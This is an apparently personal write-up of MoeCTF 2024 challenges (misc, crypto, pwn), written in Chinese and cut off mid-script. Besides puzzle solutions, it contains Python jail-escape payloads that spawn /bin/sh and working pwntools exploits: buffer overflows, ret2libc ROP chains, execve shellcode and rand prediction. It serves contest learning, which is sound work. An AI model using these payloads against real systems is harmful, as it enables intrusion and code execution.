MoeCTF2024 Writeup

0基础入门

在此签到

Snipaste_2024-08-10_08-03-07

moectf{moectf::2024::00411c734b947c3a}

Misc

第一周

杂项入门指北

根据Misc入门指北中的提示查看海报,发现海报侧框有点划线

image-20240730000150932

摩斯密码解码

image-20240730000208702

得到flag

moectf{H4VE_A_G00D_T1ME}

signin

根据题目要求将luo设为缺勤,其余均设置为已签

image-20240810142357486

得到flag

moectf{Thanks_For_You_signing_in_4ND_W3l0c0me_T0_M0ecTf_2024!!!}

罗小黑战记

拆分GIF后在最后几帧得到二维码,扫码得到flag

image-20240810095209675

moectf{y0uu6r3th3m0st3r1nth1sf13ld}

ez_F5

根据题目描述是F5-steganography

密码在属性中

NZXV64DBONZXO33SMQ======    base32
no_password

把要解密的图片拉到F5文件夹中执行

java Extract suantouwangba.jpg

解密出来的数据会放到F5文件夹下的output.txt中,得到flag

moectf{F5_15_s0_lntere5t1n9}

捂住一只耳

在音频中提取出以下信息

moe@633143314152315171101

根据键盘密码解密,结合题目信息改为小写

  1 2 3 4 5 6 7 8 9 0
1 Q W E R T Y U I O P
2 A S D F G H J K L
3 Z X C V B N M

经过尝试发现前面的moe@没用,得到flag

moectf{nevergetup}

readme

Welcome to the veryveryveryveryveryveryveryvery simple challenge! If your terminal DO NOT support unicode, it may be messed up!
You got a free hint!
--------------------------------------------------
# import ...

fd = open("/tmp/therealflag", "r")
the_real_flag = fd.read().strip() # u can't catch me, i am ________
os.system("rm /tmp/therealflag")

def handle(input, print) -> NoReturn:
    pass # not implemented yet
def main():
    pass # not implemented yet
if __name__ == "__main__":
    main()

初步分析,因为open打开文件未关闭就执行rm删除代码,所以文件不应该被删除,


系统中当前运行的每一个进程都有对应的一个目录在/proc下,以进程的PID号为目录名,/proc/self表示当前进程目录。但是在此处我们不能直到进程的pid号所以需要用到/proc/self 来表示当前进程目录。

self 目录比较独特,不同的进程访问该目录时获得的信息时不同的,内容等价于/proc/pid/。进程可以通过访问/proc/self/目录来获取自己的系统信息,而不用每次都获取pid。

fd是一个目录,里面包含着当前进程打开的每一个文件的描述符,并将其作为路径,这些文件描述符是指向实际文件的一个符号连接。

What file you want to view? /proc/self/fd/3
Here is your file: /proc/self/fd/3
moectf{oHHhH-M4n-iT-15_ThE_TRUe-SImp1E-rEAD3R7af9}

moejail_lv1

先获取到执行权限

Are you robot? Please enter '9JOBIG'+'3LJUNH'=? to continue: 9JOBIG3LJUNH
Give me your payload:
exec('__import__("os").system("/bin/sh")')

根据提示列出在tmp下的所有文件

find /tmp -type f
/tmp/.therealflag_e4082e6696a70d95d14700c2b1ea74da97f60ca7cf0ee7164a3d20e43e63677dc99f7a30c582a2cfc0f9abbe5cc95af6dfd9571156badb26c49b1901728dfa58  -

发现只有一个,读这个文件,但是长度太长了这里用*,得到flag

cat /tmp/th*
moectf{Ah-H4_nOW-yOu_KNOW_h0w-To-esCAP3-SlmPI3_5TR1Ng-fI1ter0}

收集一下扶炼师傅的exp

[print(open(f"/tmp/{f}").read()) for f in __import__("os").listdir("/tmp") if "flag" in f]

第二周

The upside and down

根据题目对十六进制进行反转,文件头为89504e,png后缀保存。

得到一张二维码,扫码得到以下信息

where_is_the_flag?
https://balabala_towards:moectf{Fri3nds_d0n't_lie!}

得到flag

moectf{Fri3nds_d0n't_lie!}

ctfer2077

附件为一张二维码,扫码后得到以下信息

Do you want to get the flag?Please enjoy the video:BV1hThreMEyT

是Bilibili的你被骗了的视频,转化思路,在RG通道发现flag

moectf{84d7f247-3cba-4077-ba25-079f3ac7bb8a}

每人至少300份

用montage和gaps复原二维码

montage *.png -tile 3x3 -geometry +0+0 out.png
gaps run out.png flag.png --generations=9999 --population=300 --size=106

扫码得到以下信息

key{3FgQG9ZFteHzw7W42}

base58解码得到flag

moectf{we1rd_qrc0d3}

the_secret_of_snowball

010打开末尾得到key,应该为后一段flag

key???cmV0X2xpZmVfMGZfTWlzYyE=  base64
ret_life_0f_Misc!

jpg文件头应该是FFD8,修改文件头,得到前一段flag

{Welc0me_t0_the_sec

综上所述

moectf{Welc0me_t0_the_secret_life_0f_Misc!}

Find It

查看图片发现关键名字 雄峰集团,搜索后发现公司地址,查找情况如下

image-20240817150400895

发现只有3和4挨的比较近

吉的堡旭景崇盛幼儿园
吉的堡英佳幼儿园

得到flag

moectf{ji_di_bao_you_er_yuan}

解不完的压缩包

看名字应该属于压缩包套娃题,先通过脚本解压

import zipfile
from pathlib import Path

def extract_zip(file_path, extract_to):
    with zipfile.ZipFile(file_path, 'r') as zip_ref:
        zip_ref.extractall(extract_to)
    print(f"解压完成")

def process_zip_files(base_dir):
    while True:
        zip_files = list(base_dir.glob('*.zip'))
        if not zip_files:
            break

        for file in zip_files:
            print(f"正在处理: {file}")
            extract_zip(file, base_dir)
            file.unlink()

        subdirs = [d for d in base_dir.iterdir() if d.is_dir()]
        for subdir in subdirs:
            process_zip_files(subdir)

base_dir = Path("C:/Users/Xia/Desktop/解不完的压缩包")
if base_dir.exists() and base_dir.is_dir():
    process_zip_files(base_dir)
else:
    print(f"{base_dir} 不存在")

解压到最后一个压缩包是加密的,查看文件名以及文件大小选择CRC32爆破,得到密码

+-------------对输出的CRC值进行碰撞-----------------+
[+] 0x1db1c332: *m
[+] 0xc617bdf4: :#
[+] 0x43dfeaa4: P7
[+] 0xf812a17e: j0
+-----------------CRC碰撞结束!!!-----------------+
读取成功,导出CRC列表为:[0x3ab3ada8, 0x1db1c332, 0xc617bdf4, 0x43dfeaa4, 0xf812a17e]
CRC碰撞成功,结果为: *m:#P7j0

解压得到flag

moectf{af9c688e-e0b9-4900-879c-672b44c550ea}

第三周

ez_Forensics

根据题目描述取证方向为cmd进程,取证授权过期了,这里用最原始的volatility进行取证

volatility -f flag.vmem --profile=Win7SP1x64 cmdscan
Volatility Foundation Volatility Framework 2.6
**************************************************
CommandProcess: conhost.exe Pid: 2268
CommandHistory: 0x32b0a0 Application: cmd.exe Flags: Allocated, Reset
CommandCount: 3 LastAdded: 2 LastDisplayed: 2
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60
Cmd #0 @ 0x330410: echo moectf{WWBGY-TLVC5-XKYBZ} > flag.txt
Cmd #1 @ 0x30cec0: echo SJW7O^%gt8 > flag.txt
Cmd #2 @ 0x3350b0: del flag.txt
**************************************************
CommandProcess: conhost.exe Pid: 904
CommandHistory: 0x19b0a0 Application: DumpIt.exe Flags: Allocated
CommandCount: 0 LastAdded: -1 LastDisplayed: -1
FirstCommand: 0 CommandCountMax: 50
ProcessHandle: 0x60

得到flag

moectf{WWBGY-TLVC5-XKYBZ}

moejail_lv2

按照moejail_lv1的思路仍可以打通,得到flag

moectf{YOu-C4n_6YP@Ss_the-5TrINg-flltER_BY_nUM_To_Chr25}

我的图层在你之上

将PDF分层后把里面的图片进行通道变换得到key

image-20241001110034780

解压得到caesar密文

zbrpgs{q751894o-rr0n-47qq-85q4-r92q0443921s}

得到flag

moectf{d751894b-ee0a-47dd-85d4-e92d0443921f}

时光穿梭机

实在找不出来开了个hint,虽然用处不大但是能把重心确定在the illustrated London News上

伦敦当时最有名的图报当然是the illustrated London News

搜索很多发现都需要收费,但是发现了关键信息

image-20240831134248315

或许能够通过搜索 遗失在西方的中国史 找到伦敦新闻画报的电子文献

image-20240831134619128

找到合适的年份范围,查看目录(目录免费)

image-20240831134940542

搜索王谦陵墓,搜索无果,尝试Wang Chien,在一篇论文中发现Wang Chien 是 王建

image-20240831135213762

搜索王建墓并检索附近中医,发现地点(这里注意百度和谷歌地图都无法通过附件检索,这里用的高德地图)

image-20240831135933518

得到flag

moectf{han_fang_tang}

ctfer2077②

根据题目描述进行社会主义核心价值观解码,得到key

法治富强自由富强和谐平等和谐平等法治法治和谐富强法治文明公正自由
p@55w0rd

在VeraCrypto挂载,得到flag?.txt文件,注意到此加密卷的文件系统为ntfs,检索相关的内容 可以了解到ntfs隐藏数据流,

使用 NtfsStreamsEditor 可以导出 小鹤.txt ,得到下列信息

ulpb vfde hfyz yisi buuima
key jqui xxmm vedrhx de qrpb xnxp
ulpb ui veyh dazide

检索了解到小鹤为一种双拼输入法,使用相关输入法可以得到

双拼真的很有意思不是吗
key就是下而这段话得全拼小写
双拼是这样打字的

得到flag

moectf{shuangpinshizheyangdazide}

拼图羔手

字母替换部分用单表替换进行解密,先通过代码制作出码表

# input_text = "doanythigfruebcjklmqpswvxz"
input_text = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

code_setting_first="doanythigfruebcjklmqpswvxz"
code_setting_sec="ABCDEFGHIJKLMNOPQRSTUVWXYZ"
number_setting = "0123456789"
encoded_text=" "

for i in range(len(input_text)):
    if input_text[i] in code_setting_first:
        if ord(input_text[i]) < 104 :
            num = ord(input_text[i]) + 19
        elif ord(input_text[i]) > 115:
            num = ord(input_text[i]) - 19
        elif 104 <= ord(input_text[i]) <= 115:
            num = 219 - ord(input_text[i])
        encoded_text += "'" + chr(num) + "'" + ":" + "'" + input_text[i] + "'" + ","

    elif input_text[i] in code_setting_sec:
        if 64 < ord(input_text[i]) < 72:
            num = ord(input_text[i]) + 7  
        elif 71 < ord(input_text[i]) < 79:
            num = ord (input_text[i]) - 7 
        elif 78 < ord(input_text[i]) < 82:
            num = ord(input_text[i]) + 9 
        elif 87 < ord(input_text[i]) < 91:
            num = ord(input_text[i]) - 9 
        elif 81 < ord(input_text[i]) < 88:
            num = 168 - ord(input_text[i]) 
        encoded_text += "'" + chr(num) + "'" + ":" +  "'" + input_text[i] + "'" + ","

    elif input_text[i] not in number_setting:
        encoded_text += input_text[i]

print(f'dic:{{{encoded_text.strip(",").strip()}}}')

'''
dic_first={'w':'d','l':'o','t':'a','m':'n','f':'y','a':'t','s':'h','r':'i','z':'g','y':'f','i':'r','b':'u','x':'e','u':'b','v':'c','q':'j','p':'k','o':'l','n':'m','j':'q','k':'p','h':'s','d':'w','c':'v','e':'x','g':'z'}
dic_sec={'H':'A','I':'B','J':'C','K':'D','L':'E','M':'F','N':'G','A':'H','B':'I','C':'J','D':'K','E':'L','F':'M','G':'N','X':'O','Y':'P','Z':'Q','V':'R','U':'S','T':'T','S':'U','R':'V','Q':'W','O':'X','P':'Y','Q':'Z'}

'''

先对key进行解密,得到hint:StrangeCharacterStaywithNumberOnSomewhere,由int可以知道数字部分肯定是在一起的,并且在末尾,所以这里先对字母和符号部分进行处理,再单独对数字部分进行异或

from base64 import *
import re  

def self_decrypting(input_text): 
    temp_text='' 
    dic={
    't':'a','u':'b','v':'c','w':'d','x':'e','y':'f','z':'g','s':'h','r':'i','q':'j','p':'k','o':'l','n':'m',
    'm':'n','l':'o','k':'p','j':'q','i':'r','h':'s','a':'t','b':'u','c':'v','d':'w','e':'x','f':'y','g':'z',
    'H':'A','I':'B','J':'C','K':'D','L':'E','M':'F','N':'G','A':'H','B':'I','C':'J','D':'K','E':'L','F':'M',
    'G':'N','X':'O','Y':'P','Z':'Q','V':'R','U':'S','T':'T','S':'U','R':'V','Q':'W','O':'X','P':'Y','Q':'Z'
}
    for i in range(len(input_text)):  
        if input_text[i] in dic:  
            temp_text += dic[input_text[i]]
        else:
            temp_text += input_text[i]

    other_text = re.sub(r'\d+', '', temp_text)
    numbers = re.search(r'\d+', temp_text)

    if numbers:  
        numbers = numbers.group(0)

    numbers_text=''

    num=0
    for i in range(len(numbers),0,-1):
        # print(f'time{i}: ',end="")
        if i != len(numbers):
            x = int(numbers[i-1])^int(numbers_text[num])
            # print(f'{x}={numbers[i-1]}^{numbers_text[num]}')
            numbers_text += str(x)
            num+=1
        elif i == len(numbers):
            numbers_text += numbers[-1]
            # print(f'{numbers[-1]}')

    output_text= other_text + reverse_encoding(numbers_text)
    return output_text  

def reverse_encoding(input_text):
    output_text = input_text[::-1]
    return output_text

def re_strange_character_hint(key):
    key = b64decode(key).decode('utf-8')  
    key = reverse_encoding(self_decrypting(key))
    print("".join(key.split(" "))
)

# key="eGl4c2R4bmxVbVhpeHVuYkdzYXJkZnRhVWl4YXZ0aXRzSnh6bXRpYVU="
# re_strange_character_hint(key)
key="StrangeCharacterStaywithNumberOnSomewhere"
input_text="71517ysd%ryxsc!usv@ucy*wqosy*qxl&sxl*sbys^wb$syqwp$ysyw!qpw@hs"
output_text=self_decrypting(reverse_encoding(input_text))
print(output_text)
# hs@dkj!dfhf$kdjfh$ud^hfuh*oeh&oej*fhljd*fvb@chb!vhefi%whf52367

得到新的密文

hs@dkj!dfhf$kdjfh$ud^hfuh*oeh&oej*fhljd*fvb@chb!vhefi%whf52367

官方WP实属不好评价,非得最后一步加个谜语人,意思是把符号转化为键盘上对应的数字,得到最后的flag

moectf{hs2dkj1dfhf4kdjfh4ud6hfuh8oeh7oej8fhljd8fvb2chb1vhefi5whf52367}

第四周

Abnormal lag

频谱图开头和结尾发现flag

image-20240831105531348

moectf{09e3f7f8-c970-4c71-92b0-6f03a677421a}

so many 'm'

字频分析,需要注意的是M和p都是28次,前后顺序需要尝试

moectf{C0MpuTaskingD4rE}

ez_usbpcap

查看流量包,确定usb类型为usbhid

image-20240831101035575

得到键盘流量输入内容

image-20240831102943005

6d6f656374667b6e3168613077307930756469616e6c33323435317dDGMQTWX

部分字符十六进制转字符串得到flag

image-20240831103044034

moectf{n1ha0w0y0udianl32451}

ctfer2077③

初步分析无结果,在流6中发现secret.zip,提取并解压

image-20240831103644407

解压先处理gif文件,拆分后在第三十张发现key

image-20241022211958119

C5EZFsC6

结合mp3文件,使用mp3stego,解密后得到下列信息

+++++ +++[- >++++ ++++< ]>+++ +++++ .<+++ +[->- ---<] >---. <++++ +++[-
>++++ +++<] >+.<+ ++++[ ->--- --<]> ----- -.<++ +[->+ ++<]> +++++ +.<++
+[->- --<]> -.<++ ++[-> ----< ]>--- -.<++ ++++[ ->+++ +++<] >++++ +.<

brainfuck解码得到key

H5gHWM9b

解压后将01缩小得到跳舞的小人编码

image-20241022212623249

解码得到flag

moectf{PEOPLE_DANCING_HAPPILY}

moejail_lv3

按照moejail_lv1的思路还可以打通,得到flag

moectf{pEp_a11Ow-You_use_UnIcODE_ChAR-4s_@sclI_0ne5c}

 moejail_lv2.5

if re.search(r'["\'0-8bdhosxy_]|[^\x00-\xff]', code): print("Nope")
if len(code) > 15: print("Too long")

第一层用eval(input( ))进行绕过,input需要接收,再将提权代码输入

Give me your code: eval(input())
__import__("os").system("/bin/sh")
ls
main.py
wrapper.sh
find /tmp -type f
/tmp/therealflag_73db06c6cda81a194c922e24a2167f7b
cat /tmp/th*
moectf{soM3TlMEs_iNput_c@N_B3-a_MEtHod_TO-bYp4s5_F11TErs0}

Crypto

第一周

现代密码学入门指北

已知pqec求m

from Crypto.Util.number import *
import gmpy2

p = 197380555956482914197022424175976066223
q = 205695522197318297682903544013139543071
c = 36450632910287169149899281952743051320560762944710752155402435752196566406306
e = 65537

phi=(p-1)*(q-1)
n=p*q

d=gmpy2.invert(e,phi)
m=pow(c,d,n)

print(long_to_bytes(m))
# b'moectf{the_way_to_crypto}'
moectf{the_way_to_crypto}

Signin

联立pq,qp,p_q可以解出p和q的值

from Crypto.Util.number import *
import gmpy2

'''
pq = (p-1)*(q-2)
qp = (q-1)*(p-2)
p_q = p + q

'''

e = 65537
c = 5654386228732582062836480859915557858019553457231956237167652323191768422394980061906028416785155458721240012614551996577092521454960121688179565370052222983096211611352630963027300416387011219744891121506834201808533675072141450111382372702075488292867077512403293072053681315714857246273046785264966933854754543533442866929316042885151966997466549713023923528666038905359773392516627983694351534177829247262148749867874156066768643169675380054673701641774814655290118723774060082161615682005335103074445205806731112430609256580951996554318845128022415956933291151825345962528562570998777860222407032989708801549746
pq = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687154230787854196153067547938936776488741864214499155892870610823979739278296501074632962069426593691194105670021035337609896886690049677222778251559566664735419100459953672218523709852732976706321086266274840999100037702428847290063111455101343033924136386513077951516363739936487970952511422443500922412450462
qp = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687077087914198877794354459669808240133383828356379423767736753506794441545506312066344576298453957064590180141648690226266236642320508613544047037110363523129966437840660693885863331837516125853621802358973786440314619135781324447765480391038912783714312479080029167695447650048419230865326299964671353746764860
n = 18047017539289114275195019384090026530425758236625347121394903879980914618669633902668100353788910470141976640337675700570573127020693081175961988571621759711122062452192526924744760561788625702044632350319245961013430665853071569777307047934247268954386678746085438134169871118814865536503043639618655569687534959910892789661065614807265825078942931717855566686073463382398417205648946713373617006449901977718981043020664616841303517708207413215548110294271101267236070252015782044263961319221848136717220979435486850254298686692230935985442120369913666939804135884857831857184001072678312992442792825575636200505903
p_q = 279533706577501791569740668595544511920056954944184570513187478007551195831693428589898548339751066551225424790534556602157835468618845221423643972870671556362200734472399328046960316064864571163851111207448753697980178391430044714097464866523838747053135392202848167518870720149808055682621080992998747265496

q= (pq - qp + p_q) // 2
p= p_q-q

phi=(p-1)*(q-1)

d=gmpy2.invert(e,phi)
m=pow(c,d,n)

print(long_to_bytes(m))
# b'moectf{Just_4_signin_ch4ll3ng3_for_y0u}'

ez_hash

hash爆破六字节

from hashlib import sha256

char_range = range(48, 58)

for a in char_range:
    for b in char_range:
        for c in char_range:
            for d in char_range:
                for e in char_range:
                    for f in char_range:    
                        secrets = bytes('2100' + chr(a) + chr(b) + chr(c) + chr(d) + chr(e) + chr(f), 'utf-8')
                        hash_value = sha256(secrets).hexdigest()
                        if  hash_value == '3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a': 
                            print('moectf{2100' + chr(a)+ chr(b)+ chr(c)+ chr(d)+ chr(e)+ chr(f) + '}')
# moectf{2100360168}

这里的话由于可见字符数字太大了,所以优先选择纯数字


 Big and small

e=3的低加密指数攻击

from libnum import*
from gmpy2 import*
from Crypto.Util.number import long_to_bytes

n = 20279309983698966932589436610174513524888616098014944133902125993694471293062261713076591251054086174169670848598415548609375570643330808663804049384020949389856831520202461767497906977295453545771698220639545101966866003886108320987081153619862170206953817850993602202650467676163476075276351519648193219850062278314841385459627485588891326899019745457679891867632849975694274064320723175687748633644074614068978098629566677125696150343248924059801632081514235975357906763251498042129457546586971828204136347260818828746304688911632041538714834683709493303900837361850396599138626509382069186433843547745480160634787
c = 150409620528288093947185249913242033500530715593845912018225648212915478065982806112747164334970339684262757

i=0
while 1:
    if(gmpy2.iroot(c+i*n,3)[1]==1):           #或者 iroot(c-i*n,3)
        print(long_to_bytes(gmpy2.iroot(c+i*n,3)[0]))
        break
    i=i+1
# b'flag{xt>is>s>b}'

baby equation


Pwn

第一周

二进制漏洞审计入门指北

nc连接获取flag,但不得不说这个连接方式真的很抽象

image-20240810144724134

moectf{Welcome_to_the_journey_of_Pwn}

flag_helper

连接后是一个菜单

Welcome to MoeCTF 2024 "Pwn".
Have trouble with flag?
What can I do for you?
1. "Capture the flag."
2. "Goodbye."
3. "V me 50 pts."
4. "Play game with me."
Make your choice.
> 4

测试后选项4可以进入到下一层

OK. Tell me a file path. I can `read` what others cannot `read`.
> /flag

选择需要访问的文件,进入下一层

Now, give me `flags` for this to-be-opened file.
> 0

flags参数接收一个标志位参数,用于指定文件的打开放方式和属性。常用的标志位参数:

数字常量: 0     O_RDONLY    只读打开
数字常量: 1     O_WRONLY    只写打开
数字常量: 2     O_RDWR      读写打开
数字常量:64     O_CREAT     如果文件不存在则创建
数字常量:128    O_EXCL      与O_CREAT一起使用,如果文件已存在则失败
数字常量:512    O_TRUNC     如果文件存在则截断
数字常量:1024   O_APPEND    追加写

这里我们的访问权限很低所以采用只读打开

Opened file /dev/random.
Opened file /dev/urandom.
Opened file /flag.
Opened file /dev/zero.
Then we have to `mmap` a place for the content... How do we `prot` it?
>3

这里介绍一下mmap函数的参数


prot

类型:int

描述:内存保护标志,可以是以下常量的按位或组合:

数字常量:1  PROT_READ   可读
数字常量:2  PROT_WRITE  可写
数字常量:4  PROT_EXEC   可执行
数字常量:0  PROT_NONE   不可访问

flags

类型:int
描述:映射类型和其他选项,可以是以下常量的按位或组合:

数字常量:1      MAP_SHARED      共享映射
数字常量:2      MAP_PRIVATE     私有映射
数字常量:16     MAP_FIXED       精确指定映射地址
数字常量:32     MAP_ANONYMOUS   匿名映射

文件内容写进去需要可写,读内存的信息需要可读,所以可读可写填3

And, `flags`. (Calm down, your flag is on the way.)
>32

这里不是很明白所以就写了个脚本开始爆破

from pwn import*

num=0
while True:
    io=remote("127.0.0.1",56982)

    io.sendlineafter(b">",b"4")
    io.sendlineafter(b">",b"/flag")
    io.sendlineafter(b">",b"0")
    io.sendlineafter(b">",b"3")

    payload=str(num)
    io.sendlineafter(b"is on the way.)\n", payload)

    data=io.recvline()
    if b"Bad file descriptor" in data:
        print(f'Wrong! mmap\'s flags={num}\n{data}')
        num+=1
    else:
        print(f'Right! mmap\'s flags={num}\n{data}')
        break

经过测试33和34都可以,也就是需要匿名映射加上基本类型

Coming in three!
Two...
Oonnne...
... I forgot the `fd` to read from. Do you still remember?
>5

这里需要用的read的fd,也就是文件描述符的知识。

read函数中默认的标准输入是 0, 标准输出是1,标准出错是2。再open一个文件时返回的是3,如果在你关闭这个文件之前,再open一个文件,返回的就是4,依次类推。之前一共打开了四个文件,所以是5

得到flag

moectf{flIE_dEscRipToR_lS-Pr3dICTA6Ie2df4f5}

NotEnoughTime

pwntool编程题

from pwn import*

io=remote("127.0.0.1",53223)

io.recvuntil(b"ones.\n")

while True:
    try:
        data=io.recvuntil(b"=")
        print("Data:",data)

        question=data.replace(b'\n', b'').replace(b'/', b'//').split(b':')[-1].split(b'!')[-1].strip().strip(b'=')

        print("Qustion:",question)
        answer = str(eval(question)).encode()
        print("Answer:",answer)
        io.sendline(answer)

    except:
        print(io.recvline())

# moectf{4rlTHmETlc-is-noT_mAtHeMaT1C519336e8}

这里我觉得很抽象的一点是,/是c语言中的还是python的,一开始以为是c语言里的,但是第二道题为什么按python的算没有判错?


no_more_gets

检查保护,发现只开了NX代码执行保护

查看主函数,发现s1用arc4random( )函数填入了80字节的随机数,所以下面的条件strncmp(s1, s2, 0x50uLL)不好实现,但是我们发现存在后门函数

from pwn import*

io=remote("127.0.0.1",58679)

bin_sh_add =0x401177

payload = b"a"*(0x50+8) + p64(bin_sh_add)

io.sendlineafter(b"out.",payload)
io.interactive()
# moectf{g3Ts-5tRInG-ThuS_get5_FLag127692e9}

这里如果bin_sh_add的地址填的0x401176需要进行栈对齐,这里为了方便直接跳过了push,也可以传0x401193直接执行system("/bin/sh")


Moeplane

观察图片可以发现结构体内定义了一个long类型,三个int变量以及一个unsigned char的数组。思路是利用数组下标为负数定位到高地址处进行修改

int类型长度为4,long类型长度为8,unsigned char类型的数组相当于4个变量的组合,总长度为1*4=4,并且经过计算结构体内无对齐,所以 engine_thrust 到 flight 的偏移为

4+4+4+1 = 13

但是我们发现,当我们输入1的时候下标对应为0,所以这里的下标是在输入值的基础上还需要减去1,我们需要下标为-13 所以需要输入-12,将指针定位到 flight处

Which engine?
> -12

这道题目的是修改Flight的值为 69259509840 = 0x1020304050,类型是long。这里我们采用单字节修改

-12 -13 -14 -15 -16 -17 -18 -19
[-13] [-14] [-15] [-16] [-17] [-18] [-19] [-20]
00 00 00 10 20 30 40 50
00 00 00 16 32 48 64 80

注意这里传入的时候需要使用十进制

from pwn import*

io=remote("127.0.0.1",53785)

io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-12')
io.sendlineafter(b"Thrust in percentage",b"00")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-13')
io.sendlineafter(b"Thrust in percentage",b"00")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-14')
io.sendlineafter(b"Thrust in percentage",b"00")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-15')
io.sendlineafter(b"Thrust in percentage",b"16")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-16')
io.sendlineafter(b"Thrust in percentage",b"32")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-17')
io.sendlineafter(b"Thrust in percentage",b"48")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-18')
io.sendlineafter(b"Thrust in percentage",b"64")
io.sendlineafter(b"Make your choice:",b'1')
io.sendlineafter(b'Which engine?',b'-19')
io.sendlineafter(b"Thrust in percentage",b"80")

io.interactive()

'''
[TWR] Clear to land.
Whoo, we are alive...
Raise the flag!
moectf{COMPUtER_fAiLURe-WOnT_LET_yOu_FLY34919e}
'''

第二周

leak_sth

检查保护情况,发现保护全开

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

发现后门函数,需要让v3 == v2才可以进入,v2是输入值,v3是随机数生成的,但是随机数有种子考虑伪随机数

from pwn import*
from ctypes import *

io=remote("127.0.0.1",52124)

libc = CDLL("libc.so.6")
libc.srand(libc.time(0))
v3 = libc.rand()    #142075671

io.sendlineafter("number ",v3)

io.interactive()

得到flag

moectf{yOu_ArE_IUky_or-C1eveR3e1ecf373}

格式化字符串漏洞


ez_shellcode

检查保护情况,只开了PIE

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

查看func函数,无后门函数,read的读取长度由自己设置,运行函数我们可以得到nbytes_4的地址

Here is a gift for you :
0x7fffffffdf20

查看权限,发现nbytes_4处于可执行权限区段

 0x7ffffffde000     0x7ffffffff000 rwxp    21000      0 [stack]

构造shellcode,这里计算了以下读取最小值,应该是96+8+6=110

from pwn import *

io= remote('192.168.40.1',60822)

shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

io.sendlineafter(b"age:",b"110")

io.recvuntil(b"you :\n")
nbytes4_add=int(io.recv(14),16)
print(hex(nbytes4_add))

payload=shellcode.ljust((0x60+8),b'a')+p64(nbytes4_add)
io.sendlineafter(b"say?",payload)

io.interactive()

# moectf{w311-done-MY-frIend63edf49493}

这是什么?libc!

检查保护情况,开了代码执行保护和PIE,查看main函数发现提供了put函数的地址,这里考虑ret2libc

在此之前先更改附件的libc并检查

$ ldd 1
        linux-vdso.so.1 (0x00007ffcfe6c5000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f144f058000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f144f292000)
$ patchelf --set-interpreter ./ld-linux-x86-64.so.2 --replace-needed libc.so.6 ./libc.so.6 ./1
$ ldd 1
        linux-vdso.so.1 (0x00007fff9e7ed000)
        ./libc.so.6 (0x00007fe205613000)
        ./ld-linux-x86-64.so.2 => /lib64/ld-linux-x86-64.so.2 (0x00007fe205844000)

更改libc的指令:

patchelf --set-interpreter [ld路径] --replace-needed [原libc] [libc路径] [附件路径]

需要注意的是ret和pop_rdi的地址需要从libc里寻找

from pwn import *

io = remote('192.168.40.1',53343)
elf = ELF('1')
libc= ELF('libc.so.6')

offset=0x1

io.recvuntil(b'libc: ')
puts_addr = int(io.recv(14),16)
print(hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
print(hex(libc_base))

ret_add = libc_base + 0x029139
pop_rdi  = libc_base + 0x02a3e5
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b"time.",payload)
io.interactive()

# moectf{so-mUCH_eXP1oItA6Le_ln-IIbC6bc974}

这是什么?shellcode!

检查保护情况,只开了PIE,代码执行权限未知

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX unknown - GNU_STACK missing
    PIE:      PIE enabled
    Stack:    Executable
    RWX:      Has RWX segments

查看IDA发现无法进行反编译,根据报错定位到1223的位置

image-20240823102642034

发现这个call是一个寄存器形式的call,rdx=rbp-110,然后调用rdx,参数是0。因为rbp-110不是一个常量,所以IDA没法分析出rdx的地址,分析代码我们可以发现rdx的地址为从标准输入中读取数据的buf地址,解决了执行流劫持的问题。

通过动调检查权限,存储段可执行

RDX  0x7fffffffde50
0x7ffffffde000     0x7ffffffff000 rwxp    21000      0 [stack]

所以需要编写的就只有shellcode部分,这里经过测试发现先用pwntool生成的shellcode没法打通,采用手写

from pwn import*

io=remote("192.168.40.1",53145)

shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"

io.sendlineafter(b"execute i",shellcode)

io.interactive()

# moectf{gET5heLL-NEvER_5o_e@5y1b63a9c57}

这是什么?random!

检查保护情况,发现保护全开,查看主函数,发现伪随机数

from pwn import*
from time import*
from ctypes import *

io=remote("192.168.40.1",58045)

class TM(Structure):
    _fields_ = [
        ("tm_sec", c_int),
        ("tm_min", c_int),
        ("tm_hour", c_int),
        ("tm_mday", c_int),
        ("tm_mon", c_int),
        ("tm_year", c_int),
        ("tm_wday", c_int),
        ("tm_yday", c_int),
        ("tm_isdst", c_int)
    ]

libc = CDLL("libc.so.6")
libc.time.restype = c_long
libc.localtime.restype = POINTER(TM)

timer = libc.time(0)
v3 = libc.localtime(byref(c_long(timer)))
